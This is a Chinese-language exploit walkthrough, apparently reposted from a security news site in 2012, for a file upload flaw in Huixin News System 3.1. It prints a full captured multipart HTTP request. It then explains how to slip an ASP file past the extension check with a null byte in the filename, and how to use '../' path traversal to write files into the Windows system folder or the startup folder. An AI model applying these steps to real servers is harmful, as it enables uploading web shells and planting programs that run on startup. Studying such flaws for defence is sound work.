在惠信新闻系统中应用文件上传漏洞
来源:中国安全信息网 更新时间:2012-04-13
          

近来大家为dvbbs的文件上传漏洞兴奋不已,想想在其他的系统里面能不能用的上呢?我就以惠信新闻系统来抛砖引玉吧!

系统环境:惠信新闻系统3.1,Windows2000+sp4。

先看这句代码:

admin_uploadfilesave.asp
...............
Server.mappath(formPath&file.FileName)
............................

保存时用路径+文件名+后缀名,那我们可以用dvbbs上的漏洞了,只不过我们改的是文件名(因为系统有固定的路径,改路径的话,上传不会成功)

这是我捕获的数据:

POST /admin_uploadfilesave.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://127.0.0.1/admin_uploadfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d42cb1f101ae
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 127.0.0.1
Content-Length: 658
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCSACQQRQ=GKCHPMAACAKICGCMGMMBCLAL

-----------------------------7d42cb1f101ae
Content-Disposition: form-data; name="act"

upload
-----------------------------7d42cb1f101ae
Content-Disposition: form-data; name="upcount"

1
-----------------------------7d42cb1f101ae
Content-Disposition: form-data; name="filepath"

newstxt/
-----------------------------7d42cb1f101ae
Content-Disposition: form-data; name="file1"; filename="G:\www.asp .jpg"
Content-Type: text/plain

<% language=vbscript %>


-----------------------------7d42cb1f101ae
Content-Disposition: form-data; name="Submit"

提交
-----------------------------7d42cb1f101ae--

我将其中filename 处改为www.asp+(空格).jpg,同dvbbs利用一样改content_length的长度,然后用编辑器修改空格十六进制20为00,上传成功!

再看路径我们不能改,那能不能利用../../这样的方式回切呢?试试就知道了。捕获数据同上,将

name="filepath"
newstxt/ 改为: newstxt/../../../winnt
content-length:658 改为:(658+14)672

好,开始上传,哈哈!在Winnt下发现www.asp文件。那我们就可以将路径改为Windows的自启动目录,上传exe、vbs、bat……文件。不过以上都要在获得新闻系统的管理者之后,进一步进入。